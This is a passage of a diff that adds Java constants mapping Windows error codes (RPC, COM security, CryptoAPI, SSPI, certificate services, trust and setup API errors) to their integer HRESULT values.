+  public static final int RPC_E_SERVERCALL_REJECTED = -2147417845;
+  public static final int RPC_E_INVALID_CALLDATA = -2147417844;
+  public static final int RPC_E_CANTCALLOUT_ININPUTSYNCCALL = -2147417843;
+  public static final int RPC_E_WRONG_THREAD = -2147417842;
+  public static final int RPC_E_THREAD_NOT_INIT = -2147417841;
+  public static final int RPC_E_VERSION_MISMATCH = -2147417840;
+  public static final int RPC_E_INVALID_HEADER = -2147417839;
+  public static final int RPC_E_INVALID_EXTENSION = -2147417838;
+  public static final int RPC_E_INVALID_IPID = -2147417837;
+  public static final int RPC_E_INVALID_OBJECT = -2147417836;
+  public static final int RPC_S_CALLPENDING = -2147417835;
+  public static final int RPC_S_WAITONTIMER = -2147417834;
+  public static final int RPC_E_CALL_COMPLETE = -2147417833;
+  public static final int RPC_E_UNSECURE_CALL = -2147417832;
+  public static final int RPC_E_TOO_LATE = -2147417831;
+  public static final int RPC_E_NO_GOOD_SECURITY_PACKAGES = -2147417830;
+  public static final int RPC_E_ACCESS_DENIED = -2147417829;
+  public static final int RPC_E_REMOTE_DISABLED = -2147417828;
+  public static final int RPC_E_INVALID_OBJREF = -2147417827;
+  public static final int RPC_E_NO_CONTEXT = -2147417826;
+  public static final int RPC_E_TIMEOUT = -2147417825;
+  public static final int RPC_E_NO_SYNC = -2147417824;
+  public static final int RPC_E_FULLSIC_REQUIRED = -2147417823;
+  public static final int RPC_E_INVALID_STD_NAME = -2147417822;
+  public static final int CO_E_FAILEDTOIMPERSONATE = -2147417821;
+  public static final int CO_E_FAILEDTOGETSECCTX = -2147417820;
+  public static final int CO_E_FAILEDTOOPENTHREADTOKEN = -2147417819;
+  public static final int CO_E_FAILEDTOGETTOKENINFO = -2147417818;
+  public static final int CO_E_TRUSTEEDOESNTMATCHCLIENT = -2147417817;
+  public static final int CO_E_FAILEDTOQUERYCLIENTBLANKET = -2147417816;
+  public static final int CO_E_FAILEDTOSETDACL = -2147417815;
+  public static final int CO_E_ACCESSCHECKFAILED = -2147417814;
+  public static final int CO_E_NETACCESSAPIFAILED = -2147417813;
+  public static final int CO_E_WRONGTRUSTEENAMESYNTAX = -2147417812;
+  public static final int CO_E_INVALIDSID = -2147417811;
+  public static final int CO_E_CONVERSIONFAILED = -2147417810;
+  public static final int CO_E_NOMATCHINGSIDFOUND = -2147417809;
+  public static final int CO_E_LOOKUPACCSIDFAILED = -2147417808;
+  public static final int CO_E_NOMATCHINGNAMEFOUND = -2147417807;
+  public static final int CO_E_LOOKUPACCNAMEFAILED = -2147417806;
+  public static final int CO_E_SETSERLHNDLFAILED = -2147417805;
+  public static final int CO_E_FAILEDTOGETWINDIR = -2147417804;
+  public static final int CO_E_PATHTOOLONG = -2147417803;
+  public static final int CO_E_FAILEDTOGENUUID = -2147417802;
+  public static final int CO_E_FAILEDTOCREATEFILE = -2147417801;
+  public static final int CO_E_FAILEDTOCLOSEHANDLE = -2147417800;
+  public static final int CO_E_EXCEEDSYSACLLIMIT = -2147417799;
+  public static final int CO_E_ACESINWRONGORDER = -2147417798;
+  public static final int CO_E_INCOMPATIBLESTREAMVERSION = -2147417797;
+  public static final int CO_E_FAILEDTOOPENPROCESSTOKEN = -2147417796;
+  public static final int CO_E_DECODEFAILED = -2147417795;
+  public static final int CO_E_ACNOTINITIALIZED = -2147417793;
+  public static final int CO_E_CANCEL_DISABLED = -2147417792;
+  public static final int RPC_E_UNEXPECTED = -2147352577;
+  public static final int ERROR_AUDITING_DISABLED = -1073151999;
+  public static final int ERROR_ALL_SIDS_FILTERED = -1073151998;
+  public static final int ERROR_BIZRULES_NOT_ENABLED = -1073151997;
+  public static final int NTE_BAD_UID = -2146893823;
+  public static final int NTE_BAD_HASH = -2146893822;
+  public static final int NTE_BAD_KEY = -2146893821;
+  public static final int NTE_BAD_LEN = -2146893820;
+  public static final int NTE_BAD_DATA = -2146893819;
+  public static final int NTE_BAD_SIGNATURE = -2146893818;
+  public static final int NTE_BAD_VER = -2146893817;
+  public static final int NTE_BAD_ALGID = -2146893816;
+  public static final int NTE_BAD_FLAGS = -2146893815;
+  public static final int NTE_BAD_TYPE = -2146893814;
+  public static final int NTE_BAD_KEY_STATE = -2146893813;
+  public static final int NTE_BAD_HASH_STATE = -2146893812;
+  public static final int NTE_NO_KEY = -2146893811;
+  public static final int NTE_NO_MEMORY = -2146893810;
+  public static final int NTE_EXISTS = -2146893809;
+  public static final int NTE_PERM = -2146893808;
+  public static final int NTE_NOT_FOUND = -2146893807;
+  public static final int NTE_DOUBLE_ENCRYPT = -2146893806;
+  public static final int NTE_BAD_PROVIDER = -2146893805;
+  public static final int NTE_BAD_PROV_TYPE = -2146893804;
+  public static final int NTE_BAD_PUBLIC_KEY = -2146893803;
+  public static final int NTE_BAD_KEYSET = -2146893802;
+  public static final int NTE_PROV_TYPE_NOT_DEF = -2146893801;
+  public static final int NTE_PROV_TYPE_ENTRY_BAD = -2146893800;
+  public static final int NTE_KEYSET_NOT_DEF = -2146893799;
+  public static final int NTE_KEYSET_ENTRY_BAD = -2146893798;
+  public static final int NTE_PROV_TYPE_NO_MATCH = -2146893797;
+  public static final int NTE_SIGNATURE_FILE_BAD = -2146893796;
+  public static final int NTE_PROVIDER_DLL_FAIL = -2146893795;
+  public static final int NTE_PROV_DLL_NOT_FOUND = -2146893794;
+  public static final int NTE_BAD_KEYSET_PARAM = -2146893793;
+  public static final int NTE_FAIL = -2146893792;
+  public static final int NTE_SYS_ERR = -2146893791;
+  public static final int NTE_SILENT_CONTEXT = -2146893790;
+  public static final int NTE_TOKEN_KEYSET_STORAGE_FULL = -2146893789;
+  public static final int NTE_TEMPORARY_PROFILE = -2146893788;
+  public static final int NTE_FIXEDPARAMETER = -2146893787;
+  public static final int NTE_INVALID_HANDLE = -2146893786;
+  public static final int NTE_INVALID_PARAMETER = -2146893785;
+  public static final int NTE_BUFFER_TOO_SMALL = -2146893784;
+  public static final int NTE_NOT_SUPPORTED = -2146893783;
+  public static final int NTE_NO_MORE_ITEMS = -2146893782;
+  public static final int NTE_BUFFERS_OVERLAP = -2146893781;
+  public static final int NTE_DECRYPTION_FAILURE = -2146893780;
+  public static final int NTE_INTERNAL_ERROR = -2146893779;
+  public static final int NTE_UI_REQUIRED = -2146893778;
+  public static final int NTE_HMAC_NOT_SUPPORTED = -2146893777;
+  public static final int SEC_E_INSUFFICIENT_MEMORY = -2146893056;
+  public static final int SEC_E_INVALID_HANDLE = -2146893055;
+  public static final int SEC_E_UNSUPPORTED_FUNCTION = -2146893054;
+  public static final int SEC_E_TARGET_UNKNOWN = -2146893053;
+  public static final int SEC_E_INTERNAL_ERROR = -2146893052;
+  public static final int SEC_E_SECPKG_NOT_FOUND = -2146893051;
+  public static final int SEC_E_NOT_OWNER = -2146893050;
+  public static final int SEC_E_CANNOT_INSTALL = -2146893049;
+  public static final int SEC_E_INVALID_TOKEN = -2146893048;
+  public static final int SEC_E_CANNOT_PACK = -2146893047;
+  public static final int SEC_E_QOP_NOT_SUPPORTED = -2146893046;
+  public static final int SEC_E_NO_IMPERSONATION = -2146893045;
+  public static final int SEC_E_LOGON_DENIED = -2146893044;
+  public static final int SEC_E_UNKNOWN_CREDENTIALS = -2146893043;
+  public static final int SEC_E_NO_CREDENTIALS = -2146893042;
+  public static final int SEC_E_MESSAGE_ALTERED = -2146893041;
+  public static final int SEC_E_OUT_OF_SEQUENCE = -2146893040;
+  public static final int SEC_E_NO_AUTHENTICATING_AUTHORITY = -2146893039;
+  public static final int SEC_I_CONTINUE_NEEDED = 590610;
+  public static final int SEC_I_COMPLETE_NEEDED = 590611;
+  public static final int SEC_I_COMPLETE_AND_CONTINUE = 590612;
+  public static final int SEC_I_LOCAL_LOGON = 590613;
+  public static final int SEC_E_BAD_PKGID = -2146893034;
+  public static final int SEC_E_CONTEXT_EXPIRED = -2146893033;
+  public static final int SEC_I_CONTEXT_EXPIRED = 590615;
+  public static final int SEC_E_INCOMPLETE_MESSAGE = -2146893032;
+  public static final int SEC_E_INCOMPLETE_CREDENTIALS = -2146893024;
+  public static final int SEC_E_BUFFER_TOO_SMALL = -2146893023;
+  public static final int SEC_I_INCOMPLETE_CREDENTIALS = 590624;
+  public static final int SEC_I_RENEGOTIATE = 590625;
+  public static final int SEC_E_WRONG_PRINCIPAL = -2146893022;
+  public static final int SEC_I_NO_LSA_CONTEXT = 590627;
+  public static final int SEC_E_TIME_SKEW = -2146893020;
+  public static final int SEC_E_UNTRUSTED_ROOT = -2146893019;
+  public static final int SEC_E_ILLEGAL_MESSAGE = -2146893018;
+  public static final int SEC_E_CERT_UNKNOWN = -2146893017;
+  public static final int SEC_E_CERT_EXPIRED = -2146893016;
+  public static final int SEC_E_ENCRYPT_FAILURE = -2146893015;
+  public static final int SEC_E_DECRYPT_FAILURE = -2146893008;
+  public static final int SEC_E_ALGORITHM_MISMATCH = -2146893007;
+  public static final int SEC_E_SECURITY_QOS_FAILED = -2146893006;
+  public static final int SEC_E_UNFINISHED_CONTEXT_DELETED = -2146893005;
+  public static final int SEC_E_NO_TGT_REPLY = -2146893004;
+  public static final int SEC_E_NO_IP_ADDRESSES = -2146893003;
+  public static final int SEC_E_WRONG_CREDENTIAL_HANDLE = -2146893002;
+  public static final int SEC_E_CRYPTO_SYSTEM_INVALID = -2146893001;
+  public static final int SEC_E_MAX_REFERRALS_EXCEEDED = -2146893000;
+  public static final int SEC_E_MUST_BE_KDC = -2146892999;
+  public static final int SEC_E_STRONG_CRYPTO_NOT_SUPPORTED = -2146892998;
+  public static final int SEC_E_TOO_MANY_PRINCIPALS = -2146892997;
+  public static final int SEC_E_NO_PA_DATA = -2146892996;
+  public static final int SEC_E_PKINIT_NAME_MISMATCH = -2146892995;
+  public static final int SEC_E_SMARTCARD_LOGON_REQUIRED = -2146892994;
+  public static final int SEC_E_SHUTDOWN_IN_PROGRESS = -2146892993;
+  public static final int SEC_E_KDC_INVALID_REQUEST = -2146892992;
+  public static final int SEC_E_KDC_UNABLE_TO_REFER = -2146892991;
+  public static final int SEC_E_KDC_UNKNOWN_ETYPE = -2146892990;
+  public static final int SEC_E_UNSUPPORTED_PREAUTH = -2146892989;
+  public static final int SEC_E_DELEGATION_REQUIRED = -2146892987;
+  public static final int SEC_E_BAD_BINDINGS = -2146892986;
+  public static final int SEC_E_MULTIPLE_ACCOUNTS = -2146892985;
+  public static final int SEC_E_NO_KERB_KEY = -2146892984;
+  public static final int SEC_E_CERT_WRONG_USAGE = -2146892983;
+  public static final int SEC_E_DOWNGRADE_DETECTED = -2146892976;
+  public static final int SEC_E_SMARTCARD_CERT_REVOKED = -2146892975;
+  public static final int SEC_E_ISSUING_CA_UNTRUSTED = -2146892974;
+  public static final int SEC_E_REVOCATION_OFFLINE_C = -2146892973;
+  public static final int SEC_E_PKINIT_CLIENT_FAILURE = -2146892972;
+  public static final int SEC_E_SMARTCARD_CERT_EXPIRED = -2146892971;
+  public static final int SEC_E_NO_S4U_PROT_SUPPORT = -2146892970;
+  public static final int SEC_E_CROSSREALM_DELEGATION_FAILURE = -2146892969;
+  public static final int SEC_E_REVOCATION_OFFLINE_KDC = -2146892968;
+  public static final int SEC_E_ISSUING_CA_UNTRUSTED_KDC = -2146892967;
+  public static final int SEC_E_KDC_CERT_EXPIRED = -2146892966;
+  public static final int SEC_E_KDC_CERT_REVOKED = -2146892965;
+  public static final int SEC_I_SIGNATURE_NEEDED = 590684;
+  public static final int SEC_E_INVALID_PARAMETER = -2146892963;
+  public static final int SEC_E_DELEGATION_POLICY = -2146892962;
+  public static final int SEC_E_POLICY_NLTM_ONLY = -2146892961;
+  public static final int SEC_I_NO_RENEGOTIATION = 590688;
+  public static final int SEC_E_NO_SPM = -2146893052;
+  public static final int SEC_E_NOT_SUPPORTED = -2146893054;
+  public static final int CRYPT_E_MSG_ERROR = -2146889727;
+  public static final int CRYPT_E_UNKNOWN_ALGO = -2146889726;
+  public static final int CRYPT_E_OID_FORMAT = -2146889725;
+  public static final int CRYPT_E_INVALID_MSG_TYPE = -2146889724;
+  public static final int CRYPT_E_UNEXPECTED_ENCODING = -2146889723;
+  public static final int CRYPT_E_AUTH_ATTR_MISSING = -2146889722;
+  public static final int CRYPT_E_HASH_VALUE = -2146889721;
+  public static final int CRYPT_E_INVALID_INDEX = -2146889720;
+  public static final int CRYPT_E_ALREADY_DECRYPTED = -2146889719;
+  public static final int CRYPT_E_NOT_DECRYPTED = -2146889718;
+  public static final int CRYPT_E_RECIPIENT_NOT_FOUND = -2146889717;
+  public static final int CRYPT_E_CONTROL_TYPE = -2146889716;
+  public static final int CRYPT_E_ISSUER_SERIALNUMBER = -2146889715;
+  public static final int CRYPT_E_SIGNER_NOT_FOUND = -2146889714;
+  public static final int CRYPT_E_ATTRIBUTES_MISSING = -2146889713;
+  public static final int CRYPT_E_STREAM_MSG_NOT_READY = -2146889712;
+  public static final int CRYPT_E_STREAM_INSUFFICIENT_DATA = -2146889711;
+  public static final int CRYPT_I_NEW_PROTECTION_REQUIRED = 593938;
+  public static final int CRYPT_E_BAD_LEN = -2146885631;
+  public static final int CRYPT_E_BAD_ENCODE = -2146885630;
+  public static final int CRYPT_E_FILE_ERROR = -2146885629;
+  public static final int CRYPT_E_NOT_FOUND = -2146885628;
+  public static final int CRYPT_E_EXISTS = -2146885627;
+  public static final int CRYPT_E_NO_PROVIDER = -2146885626;
+  public static final int CRYPT_E_SELF_SIGNED = -2146885625;
+  public static final int CRYPT_E_DELETED_PREV = -2146885624;
+  public static final int CRYPT_E_NO_MATCH = -2146885623;
+  public static final int CRYPT_E_UNEXPECTED_MSG_TYPE = -2146885622;
+  public static final int CRYPT_E_NO_KEY_PROPERTY = -2146885621;
+  public static final int CRYPT_E_NO_DECRYPT_CERT = -2146885620;
+  public static final int CRYPT_E_BAD_MSG = -2146885619;
+  public static final int CRYPT_E_NO_SIGNER = -2146885618;
+  public static final int CRYPT_E_PENDING_CLOSE = -2146885617;
+  public static final int CRYPT_E_REVOKED = -2146885616;
+  public static final int CRYPT_E_NO_REVOCATION_DLL = -2146885615;
+  public static final int CRYPT_E_NO_REVOCATION_CHECK = -2146885614;
+  public static final int CRYPT_E_REVOCATION_OFFLINE = -2146885613;
+  public static final int CRYPT_E_NOT_IN_REVOCATION_DATABASE = -2146885612;
+  public static final int CRYPT_E_INVALID_NUMERIC_STRING = -2146885600;
+  public static final int CRYPT_E_INVALID_PRINTABLE_STRING = -2146885599;
+  public static final int CRYPT_E_INVALID_IA5_STRING = -2146885598;
+  public static final int CRYPT_E_INVALID_X500_STRING = -2146885597;
+  public static final int CRYPT_E_NOT_CHAR_STRING = -2146885596;
+  public static final int CRYPT_E_FILERESIZED = -2146885595;
+  public static final int CRYPT_E_SECURITY_SETTINGS = -2146885594;
+  public static final int CRYPT_E_NO_VERIFY_USAGE_DLL = -2146885593;
+  public static final int CRYPT_E_NO_VERIFY_USAGE_CHECK = -2146885592;
+  public static final int CRYPT_E_VERIFY_USAGE_OFFLINE = -2146885591;
+  public static final int CRYPT_E_NOT_IN_CTL = -2146885590;
+  public static final int CRYPT_E_NO_TRUSTED_SIGNER = -2146885589;
+  public static final int CRYPT_E_MISSING_PUBKEY_PARA = -2146885588;
+  public static final int CRYPT_E_OSS_ERROR = -2146881536;
+  public static final int OSS_MORE_BUF = -2146881535;
+  public static final int OSS_NEGATIVE_UINTEGER = -2146881534;
+  public static final int OSS_PDU_RANGE = -2146881533;
+  public static final int OSS_MORE_INPUT = -2146881532;
+  public static final int OSS_DATA_ERROR = -2146881531;
+  public static final int OSS_BAD_ARG = -2146881530;
+  public static final int OSS_BAD_VERSION = -2146881529;
+  public static final int OSS_OUT_MEMORY = -2146881528;
+  public static final int OSS_PDU_MISMATCH = -2146881527;
+  public static final int OSS_LIMITED = -2146881526;
+  public static final int OSS_BAD_PTR = -2146881525;
+  public static final int OSS_BAD_TIME = -2146881524;
+  public static final int OSS_INDEFINITE_NOT_SUPPORTED = -2146881523;
+  public static final int OSS_MEM_ERROR = -2146881522;
+  public static final int OSS_BAD_TABLE = -2146881521;
+  public static final int OSS_TOO_LONG = -2146881520;
+  public static final int OSS_CONSTRAINT_VIOLATED = -2146881519;
+  public static final int OSS_FATAL_ERROR = -2146881518;
+  public static final int OSS_ACCESS_SERIALIZATION_ERROR = -2146881517;
+  public static final int OSS_NULL_TBL = -2146881516;
+  public static final int OSS_NULL_FCN = -2146881515;
+  public static final int OSS_BAD_ENCRULES = -2146881514;
+  public static final int OSS_UNAVAIL_ENCRULES = -2146881513;
+  public static final int OSS_CANT_OPEN_TRACE_WINDOW = -2146881512;
+  public static final int OSS_UNIMPLEMENTED = -2146881511;
+  public static final int OSS_OID_DLL_NOT_LINKED = -2146881510;
+  public static final int OSS_CANT_OPEN_TRACE_FILE = -2146881509;
+  public static final int OSS_TRACE_FILE_ALREADY_OPEN = -2146881508;
+  public static final int OSS_TABLE_MISMATCH = -2146881507;
+  public static final int OSS_TYPE_NOT_SUPPORTED = -2146881506;
+  public static final int OSS_REAL_DLL_NOT_LINKED = -2146881505;
+  public static final int OSS_REAL_CODE_NOT_LINKED = -2146881504;
+  public static final int OSS_OUT_OF_RANGE = -2146881503;
+  public static final int OSS_COPIER_DLL_NOT_LINKED = -2146881502;
+  public static final int OSS_CONSTRAINT_DLL_NOT_LINKED = -2146881501;
+  public static final int OSS_COMPARATOR_DLL_NOT_LINKED = -2146881500;
+  public static final int OSS_COMPARATOR_CODE_NOT_LINKED = -2146881499;
+  public static final int OSS_MEM_MGR_DLL_NOT_LINKED = -2146881498;
+  public static final int OSS_PDV_DLL_NOT_LINKED = -2146881497;
+  public static final int OSS_PDV_CODE_NOT_LINKED = -2146881496;
+  public static final int OSS_API_DLL_NOT_LINKED = -2146881495;
+  public static final int OSS_BERDER_DLL_NOT_LINKED = -2146881494;
+  public static final int OSS_PER_DLL_NOT_LINKED = -2146881493;
+  public static final int OSS_OPEN_TYPE_ERROR = -2146881492;
+  public static final int OSS_MUTEX_NOT_CREATED = -2146881491;
+  public static final int OSS_CANT_CLOSE_TRACE_FILE = -2146881490;
+  public static final int CRYPT_E_ASN1_ERROR = -2146881280;
+  public static final int CRYPT_E_ASN1_INTERNAL = -2146881279;
+  public static final int CRYPT_E_ASN1_EOD = -2146881278;
+  public static final int CRYPT_E_ASN1_CORRUPT = -2146881277;
+  public static final int CRYPT_E_ASN1_LARGE = -2146881276;
+  public static final int CRYPT_E_ASN1_CONSTRAINT = -2146881275;
+  public static final int CRYPT_E_ASN1_MEMORY = -2146881274;
+  public static final int CRYPT_E_ASN1_OVERFLOW = -2146881273;
+  public static final int CRYPT_E_ASN1_BADPDU = -2146881272;
+  public static final int CRYPT_E_ASN1_BADARGS = -2146881271;
+  public static final int CRYPT_E_ASN1_BADREAL = -2146881270;
+  public static final int CRYPT_E_ASN1_BADTAG = -2146881269;
+  public static final int CRYPT_E_ASN1_CHOICE = -2146881268;
+  public static final int CRYPT_E_ASN1_RULE = -2146881267;
+  public static final int CRYPT_E_ASN1_UTF8 = -2146881266;
+  public static final int CRYPT_E_ASN1_PDU_TYPE = -2146881229;
+  public static final int CRYPT_E_ASN1_NYI = -2146881228;
+  public static final int CRYPT_E_ASN1_EXTENDED = -2146881023;
+  public static final int CRYPT_E_ASN1_NOEOD = -2146881022;
+  public static final int CERTSRV_E_BAD_REQUESTSUBJECT = -2146877439;
+  public static final int CERTSRV_E_NO_REQUEST = -2146877438;
+  public static final int CERTSRV_E_BAD_REQUESTSTATUS = -2146877437;
+  public static final int CERTSRV_E_PROPERTY_EMPTY = -2146877436;
+  public static final int CERTSRV_E_INVALID_CA_CERTIFICATE = -2146877435;
+  public static final int CERTSRV_E_SERVER_SUSPENDED = -2146877434;
+  public static final int CERTSRV_E_ENCODING_LENGTH = -2146877433;
+  public static final int CERTSRV_E_ROLECONFLICT = -2146877432;
+  public static final int CERTSRV_E_RESTRICTEDOFFICER = -2146877431;
+  public static final int CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED = -2146877430;
+  public static final int CERTSRV_E_NO_VALID_KRA = -2146877429;
+  public static final int CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL = -2146877428;
+  public static final int CERTSRV_E_NO_CAADMIN_DEFINED = -2146877427;
+  public static final int CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE = -2146877426;
+  public static final int CERTSRV_E_NO_DB_SESSIONS = -2146877425;
+  public static final int CERTSRV_E_ALIGNMENT_FAULT = -2146877424;
+  public static final int CERTSRV_E_ENROLL_DENIED = -2146877423;
+  public static final int CERTSRV_E_TEMPLATE_DENIED = -2146877422;
+  public static final int CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE = -2146877421;
+  public static final int CERTSRV_E_UNSUPPORTED_CERT_TYPE = -2146875392;
+  public static final int CERTSRV_E_NO_CERT_TYPE = -2146875391;
+  public static final int CERTSRV_E_TEMPLATE_CONFLICT = -2146875390;
+  public static final int CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED = -2146875389;
+  public static final int CERTSRV_E_ARCHIVED_KEY_REQUIRED = -2146875388;
+  public static final int CERTSRV_E_SMIME_REQUIRED = -2146875387;
+  public static final int CERTSRV_E_BAD_RENEWAL_SUBJECT = -2146875386;
+  public static final int CERTSRV_E_BAD_TEMPLATE_VERSION = -2146875385;
+  public static final int CERTSRV_E_TEMPLATE_POLICY_REQUIRED = -2146875384;
+  public static final int CERTSRV_E_SIGNATURE_POLICY_REQUIRED = -2146875383;
+  public static final int CERTSRV_E_SIGNATURE_COUNT = -2146875382;
+  public static final int CERTSRV_E_SIGNATURE_REJECTED = -2146875381;
+  public static final int CERTSRV_E_ISSUANCE_POLICY_REQUIRED = -2146875380;
+  public static final int CERTSRV_E_SUBJECT_UPN_REQUIRED = -2146875379;
+  public static final int CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED = -2146875378;
+  public static final int CERTSRV_E_SUBJECT_DNS_REQUIRED = -2146875377;
+  public static final int CERTSRV_E_ARCHIVED_KEY_UNEXPECTED = -2146875376;
+  public static final int CERTSRV_E_KEY_LENGTH = -2146875375;
+  public static final int CERTSRV_E_SUBJECT_EMAIL_REQUIRED = -2146875374;
+  public static final int CERTSRV_E_UNKNOWN_CERT_TYPE = -2146875373;
+  public static final int CERTSRV_E_CERT_TYPE_OVERLAP = -2146875372;
+  public static final int CERTSRV_E_TOO_MANY_SIGNATURES = -2146875371;
+  public static final int XENROLL_E_KEY_NOT_EXPORTABLE = -2146873344;
+  public static final int XENROLL_E_CANNOT_ADD_ROOT_CERT = -2146873343;
+  public static final int XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND = -2146873342;
+  public static final int XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH = -2146873341;
+  public static final int XENROLL_E_RESPONSE_KA_HASH_MISMATCH = -2146873340;
+  public static final int XENROLL_E_KEYSPEC_SMIME_MISMATCH = -2146873339;
+  public static final int TRUST_E_SYSTEM_ERROR = -2146869247;
+  public static final int TRUST_E_NO_SIGNER_CERT = -2146869246;
+  public static final int TRUST_E_COUNTER_SIGNER = -2146869245;
+  public static final int TRUST_E_CERT_SIGNATURE = -2146869244;
+  public static final int TRUST_E_TIME_STAMP = -2146869243;
+  public static final int TRUST_E_BAD_DIGEST = -2146869232;
+  public static final int TRUST_E_BASIC_CONSTRAINTS = -2146869223;
+  public static final int TRUST_E_FINANCIAL_CRITERIA = -2146869218;
+  public static final int MSSIPOTF_E_OUTOFMEMRANGE = -2146865151;
+  public static final int MSSIPOTF_E_CANTGETOBJECT = -2146865150;
+  public static final int MSSIPOTF_E_NOHEADTABLE = -2146865149;
+  public static final int MSSIPOTF_E_BAD_MAGICNUMBER = -2146865148;
+  public static final int MSSIPOTF_E_BAD_OFFSET_TABLE = -2146865147;
+  public static final int MSSIPOTF_E_TABLE_TAGORDER = -2146865146;
+  public static final int MSSIPOTF_E_TABLE_LONGWORD = -2146865145;
+  public static final int MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT = -2146865144;
+  public static final int MSSIPOTF_E_TABLES_OVERLAP = -2146865143;
+  public static final int MSSIPOTF_E_TABLE_PADBYTES = -2146865142;
+  public static final int MSSIPOTF_E_FILETOOSMALL = -2146865141;
+  public static final int MSSIPOTF_E_TABLE_CHECKSUM = -2146865140;
+  public static final int MSSIPOTF_E_FILE_CHECKSUM = -2146865139;
+  public static final int MSSIPOTF_E_FAILED_POLICY = -2146865136;
+  public static final int MSSIPOTF_E_FAILED_HINTS_CHECK = -2146865135;
+  public static final int MSSIPOTF_E_NOT_OPENTYPE = -2146865134;
+  public static final int MSSIPOTF_E_FILE = -2146865133;
+  public static final int MSSIPOTF_E_CRYPT = -2146865132;
+  public static final int MSSIPOTF_E_BADVERSION = -2146865131;
+  public static final int MSSIPOTF_E_DSIG_STRUCTURE = -2146865130;
+  public static final int MSSIPOTF_E_PCONST_CHECK = -2146865129;
+  public static final int MSSIPOTF_E_STRUCTURE = -2146865128;
+  public static final int ERROR_CRED_REQUIRES_CONFIRMATION = -2146865127;
+  public static final int NTE_OP_OK = 0;
+  public static final int TRUST_E_PROVIDER_UNKNOWN = -2146762751;
+  public static final int TRUST_E_ACTION_UNKNOWN = -2146762750;
+  public static final int TRUST_E_SUBJECT_FORM_UNKNOWN = -2146762749;
+  public static final int TRUST_E_SUBJECT_NOT_TRUSTED = -2146762748;
+  public static final int DIGSIG_E_ENCODE = -2146762747;
+  public static final int DIGSIG_E_DECODE = -2146762746;
+  public static final int DIGSIG_E_EXTENSIBILITY = -2146762745;
+  public static final int DIGSIG_E_CRYPTO = -2146762744;
+  public static final int PERSIST_E_SIZEDEFINITE = -2146762743;
+  public static final int PERSIST_E_SIZEINDEFINITE = -2146762742;
+  public static final int PERSIST_E_NOTSELFSIZING = -2146762741;
+  public static final int TRUST_E_NOSIGNATURE = -2146762496;
+  public static final int CERT_E_EXPIRED = -2146762495;
+  public static final int CERT_E_VALIDITYPERIODNESTING = -2146762494;
+  public static final int CERT_E_ROLE = -2146762493;
+  public static final int CERT_E_PATHLENCONST = -2146762492;
+  public static final int CERT_E_CRITICAL = -2146762491;
+  public static final int CERT_E_PURPOSE = -2146762490;
+  public static final int CERT_E_ISSUERCHAINING = -2146762489;
+  public static final int CERT_E_MALFORMED = -2146762488;
+  public static final int CERT_E_UNTRUSTEDROOT = -2146762487;
+  public static final int CERT_E_CHAINING = -2146762486;
+  public static final int TRUST_E_FAIL = -2146762485;
+  public static final int CERT_E_REVOKED = -2146762484;
+  public static final int CERT_E_UNTRUSTEDTESTROOT = -2146762483;
+  public static final int CERT_E_REVOCATION_FAILURE = -2146762482;
+  public static final int CERT_E_CN_NO_MATCH = -2146762481;
+  public static final int CERT_E_WRONG_USAGE = -2146762480;
+  public static final int TRUST_E_EXPLICIT_DISTRUST = -2146762479;
+  public static final int CERT_E_UNTRUSTEDCA = -2146762478;
+  public static final int CERT_E_INVALID_POLICY = -2146762477;
+  public static final int CERT_E_INVALID_NAME = -2146762476;
+  public static final int SPAPI_E_EXPECTED_SECTION_NAME = -2146500608;
+  public static final int SPAPI_E_BAD_SECTION_NAME_LINE = -2146500607;
+  public static final int SPAPI_E_SECTION_NAME_TOO_LONG = -2146500606;
+  public static final int SPAPI_E_GENERAL_SYNTAX = -2146500605;
+  public static final int SPAPI_E_WRONG_INF_STYLE = -2146500352;
+  public static final int SPAPI_E_SECTION_NOT_FOUND = -2146500351;
+  public static final int SPAPI_E_LINE_NOT_FOUND = -2146500350;
+  public static final int SPAPI_E_NO_BACKUP = -2146500349;
+  public static final int SPAPI_E_NO_ASSOCIATED_CLASS = -2146500096;
+  public static final int SPAPI_E_CLASS_MISMATCH = -2146500095;
+  public static final int SPAPI_E_DUPLICATE_FOUND = -2146500094;
+  public static final int SPAPI_E_NO_DRIVER_SELECTED = -2146500093;
+  public static final int SPAPI_E_KEY_DOES_NOT_EXIST = -2146500092;
+  public static final int SPAPI_E_INVALID_DEVINST_NAME = -2146500091;
+  public static final int SPAPI_E_INVALID_CLASS = -2146500090;
+  public static final int SPAPI_E_DEVINST_ALREADY_EXISTS = -2146500089;
+  public static final int SPAPI_E_DEVINFO_NOT_REGISTERED = -2146500088;
+  public static final int SPAPI_E_INVALID_REG_PROPERTY = -2146500087;
+  public static final int SPAPI_E_NO_INF = -2146500086;
+  public static final int SPAPI_E_NO_SUCH_DEVINST = -2146500085;
+  public static final int SPAPI_E_CANT_LOAD_CLASS_ICON = -2146500084;
+  public static final int SPAPI_E_INVALID_CLASS_INSTALLER = -2146500083;
+  public static final int SPAPI_E_DI_DO_DEFAULT = -2146500082;
+  public static final int SPAPI_E_DI_NOFILECOPY = -2146500081;
+  public static final int SPAPI_E_INVALID_HWPROFILE = -2146500080;
+  public static final int SPAPI_E_NO_DEVICE_SELECTED = -2146500079;
+  public static final int SPAPI_E_DEVINFO_LIST_LOCKED = -2146500078;
+  public static final int SPAPI_E_DEVINFO_DATA_LOCKED = -2146500077;
+  public static final int SPAPI_E_DI_BAD_PATH = -2146500076;
+  public static final int SPAPI_E_NO_CLASSINSTALL_PARAMS = -2146500075;
+  public static final int SPAPI_E_FILEQUEUE_LOCKED = -2146500074;
+  public static final int SPAPI_E_BAD_SERVICE_INSTALLSECT = -2146500073;
+  public static final int SPAPI_E_NO_CLASS_DRIVER_LIST = -2146500072;
+  public static final int SPAPI_E_NO_ASSOCIATED_SERVICE = -2146500071;
+  public static final int SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE = -2146500070;
+  public static final int SPAPI_E_DEVICE_INTERFACE_ACTIVE = -2146500069;
+  public static final int SPAPI_E_DEVICE_INTERFACE_REMOVED = -2146500068;
